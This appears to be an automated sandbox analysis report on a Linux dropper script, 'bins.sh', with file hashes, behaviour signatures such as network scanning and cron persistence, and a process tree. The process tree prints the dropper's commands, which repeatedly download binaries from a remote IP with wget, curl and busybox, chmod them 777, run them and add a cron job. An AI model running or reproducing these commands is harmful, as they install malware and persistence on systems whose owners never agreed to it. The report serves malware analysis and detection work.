Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240729-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240729-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    09-11-2024 05:09

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    3161c78707f178deb4c81f884eb712fc

  • SHA1

    823bd6621021135792463154ec8887b83970fe1a

  • SHA256

    d16d7fa2defffc526b1f8dcbe3f082ac5cd8d1015d2bcda576076b922eea8d30

  • SHA512

    ed1bbdc75c2aaccc1993ec236a20df1126eeac8b163258f90dd688b64654c7dea551d09fa356355f51e8d16a4764514cdd35b5997cd8844aaec73361ed0b160a

  • SSDEEP

    192:ZwEmNFBkT9fnNQs+E+9Q8bcfnPa2og8V4brwEmNFKVfnNQs1AQ88fnPa2sg8q:ZwEmNFBkT9fnNQs+E+Ttg8V4brwEmNFy

Malware Config

Signatures

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Contacts a large (1974) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 5 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 5 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 15 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:1516
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:1517
        • /usr/bin/wget
          wget http://216.126.231.240/bins/d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR
          2⤵
          • Writes file to tmp directory
          PID:1518
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR
          2⤵
          • Writes file to tmp directory
          PID:1522
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR
          2⤵
          • Writes file to tmp directory
          PID:1523
        • /bin/chmod
          chmod 777 d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR
          2⤵
          • File and Directory Permissions Modification
          PID:1524
        • /tmp/d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR
          ./d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR
          2⤵
          • Executes dropped EXE
          PID:1525
        • /bin/rm
          rm d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR
          2⤵
            PID:1527
          • /usr/bin/wget
            wget http://216.126.231.240/bins/kLcZBrEdR419Qbm97mNOedgKCgCp2aQVIU
            2⤵
            • Writes file to tmp directory
            PID:1528
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/kLcZBrEdR419Qbm97mNOedgKCgCp2aQVIU
            2⤵
            • Writes file to tmp directory
            PID:1529
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/kLcZBrEdR419Qbm97mNOedgKCgCp2aQVIU
            2⤵
            • Writes file to tmp directory
            PID:1530
          • /bin/chmod
            chmod 777 kLcZBrEdR419Qbm97mNOedgKCgCp2aQVIU
            2⤵
            • File and Directory Permissions Modification
            PID:1531
          • /tmp/kLcZBrEdR419Qbm97mNOedgKCgCp2aQVIU
            ./kLcZBrEdR419Qbm97mNOedgKCgCp2aQVIU
            2⤵
            • Executes dropped EXE
            PID:1532
          • /bin/rm
            rm kLcZBrEdR419Qbm97mNOedgKCgCp2aQVIU
            2⤵
              PID:1534
            • /usr/bin/wget
              wget http://216.126.231.240/bins/4JoxfIeO6WB9x027oNzgA90Kg46F8ZH3AM
              2⤵
              • Writes file to tmp directory
              PID:1535
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/4JoxfIeO6WB9x027oNzgA90Kg46F8ZH3AM
              2⤵
              • Writes file to tmp directory
              PID:1536
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/4JoxfIeO6WB9x027oNzgA90Kg46F8ZH3AM
              2⤵
              • Writes file to tmp directory
              PID:1537
            • /bin/chmod
              chmod 777 4JoxfIeO6WB9x027oNzgA90Kg46F8ZH3AM
              2⤵
              • File and Directory Permissions Modification
              PID:1538
            • /tmp/4JoxfIeO6WB9x027oNzgA90Kg46F8ZH3AM
              ./4JoxfIeO6WB9x027oNzgA90Kg46F8ZH3AM
              2⤵
              • Executes dropped EXE
              PID:1539
            • /bin/rm
              rm 4JoxfIeO6WB9x027oNzgA90Kg46F8ZH3AM
              2⤵
                PID:1541
              • /usr/bin/wget
                wget http://216.126.231.240/bins/9GvhzIQ3zOEZGVNI7m4rMlISbw6TEfShJi
                2⤵
                • Writes file to tmp directory
                PID:1542
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/9GvhzIQ3zOEZGVNI7m4rMlISbw6TEfShJi
                2⤵
                • Writes file to tmp directory
                PID:1543
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/9GvhzIQ3zOEZGVNI7m4rMlISbw6TEfShJi
                2⤵
                • Writes file to tmp directory
                PID:1544
              • /bin/chmod
                chmod 777 9GvhzIQ3zOEZGVNI7m4rMlISbw6TEfShJi
                2⤵
                • File and Directory Permissions Modification
                PID:1545
              • /tmp/9GvhzIQ3zOEZGVNI7m4rMlISbw6TEfShJi
                ./9GvhzIQ3zOEZGVNI7m4rMlISbw6TEfShJi
                2⤵
                • Executes dropped EXE
                PID:1546
              • /bin/rm
                rm 9GvhzIQ3zOEZGVNI7m4rMlISbw6TEfShJi
                2⤵
                  PID:1548
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/CdTuEyqkUiqrGOlP8P2AtJ5OFFh5s4F7J9
                  2⤵
                  • Writes file to tmp directory
                  PID:1549
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/CdTuEyqkUiqrGOlP8P2AtJ5OFFh5s4F7J9
                  2⤵
                  • Writes file to tmp directory
                  PID:1550
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/CdTuEyqkUiqrGOlP8P2AtJ5OFFh5s4F7J9
                  2⤵
                  • Writes file to tmp directory
                  PID:1551
                • /bin/chmod
                  chmod 777 CdTuEyqkUiqrGOlP8P2AtJ5OFFh5s4F7J9
                  2⤵
                  • File and Directory Permissions Modification
                  PID:1552
                • /tmp/CdTuEyqkUiqrGOlP8P2AtJ5OFFh5s4F7J9
                  ./CdTuEyqkUiqrGOlP8P2AtJ5OFFh5s4F7J9
                  2⤵
                  • Executes dropped EXE
                  • Renames itself
                  • Reads runtime system information
                  PID:1553
                  • /bin/sh
                    sh -c "crontab -l"
                    3⤵
                      PID:1555
                      • /usr/bin/crontab
                        crontab -l
                        4⤵
                          PID:1556
                      • /bin/sh
                        sh -c "crontab -"
                        3⤵
                          PID:1557
                          • /usr/bin/crontab
                            crontab -
                            4⤵
                            • Creates/modifies Cron job
                            PID:1558
                      • /bin/rm
                        rm CdTuEyqkUiqrGOlP8P2AtJ5OFFh5s4F7J9
                        2⤵
                          PID:1560
                        • /usr/bin/wget
                          wget http://216.126.231.240/bins/NiaCXhT3ao3LG2ZEIBxopAUy9ovxxZQa6V
                          2⤵
                            PID:1563

                        Network

                        MITRE ATT&CK Enterprise v15

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        • /tmp/4JoxfIeO6WB9x027oNzgA90Kg46F8ZH3AM

                          Filesize

                          107KB

                          MD5

                          eb9c3a0de91fcf16ba17cb24608df68c

                          SHA1

                          09d95a7d70d5e115d103be51edff7c498d272fac

                          SHA256

                          dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                          SHA512

                          9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                        • /tmp/9GvhzIQ3zOEZGVNI7m4rMlISbw6TEfShJi

                          Filesize

                          117KB

                          MD5

                          849fa04ef88a8e8de32cb2e8538de5fe

                          SHA1

                          c768af29fe4b6695fff1541623e8bbd1c6f242f7

                          SHA256

                          8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                          SHA512

                          2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                        • /tmp/CdTuEyqkUiqrGOlP8P2AtJ5OFFh5s4F7J9

                          Filesize

                          99KB

                          MD5

                          9438d9bc392bcf300a5583b6df5bc8f6

                          SHA1

                          375a6ae34b516f6f3eeea8030c4084f585017efa

                          SHA256

                          68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                          SHA512

                          1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                        • /tmp/d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR

                          Filesize

                          151KB

                          MD5

                          3c90d5820bddcf7c5d1bd21dfa49d958

                          SHA1

                          5ba05bd489e50af97d6dc45e3a0be60e494d5083

                          SHA256

                          bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                          SHA512

                          54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                        • /tmp/kLcZBrEdR419Qbm97mNOedgKCgCp2aQVIU

                          Filesize

                          122KB

                          MD5

                          cd3d4b9c643e5b473fb4d88ed05f0716

                          SHA1

                          64ee7a97418583d759eaea8000890cc3bae1b5f4

                          SHA256

                          0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                          SHA512

                          164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                        • /var/spool/cron/crontabs/tmp.1NlUfd

                          Filesize

                          210B

                          MD5

                          ebe5848dbca40e5d341aaf163186b2f4

                          SHA1

                          a592b9c53658b6ecd1a5f25ec7e733e502bdb613

                          SHA256

                          3e1d505b989b2157fe88fd617cd86c15b13a55d850ef80849df989b82ae0f54f

                          SHA512

                          8028daf3dc7ca7983c132f60d5eb981b777794bd070094fac4b200fbc2b9afdb7d6c1306319dbbb0e46c5fef80492b7bf4a7854b3db03e49c662fb36c8244cad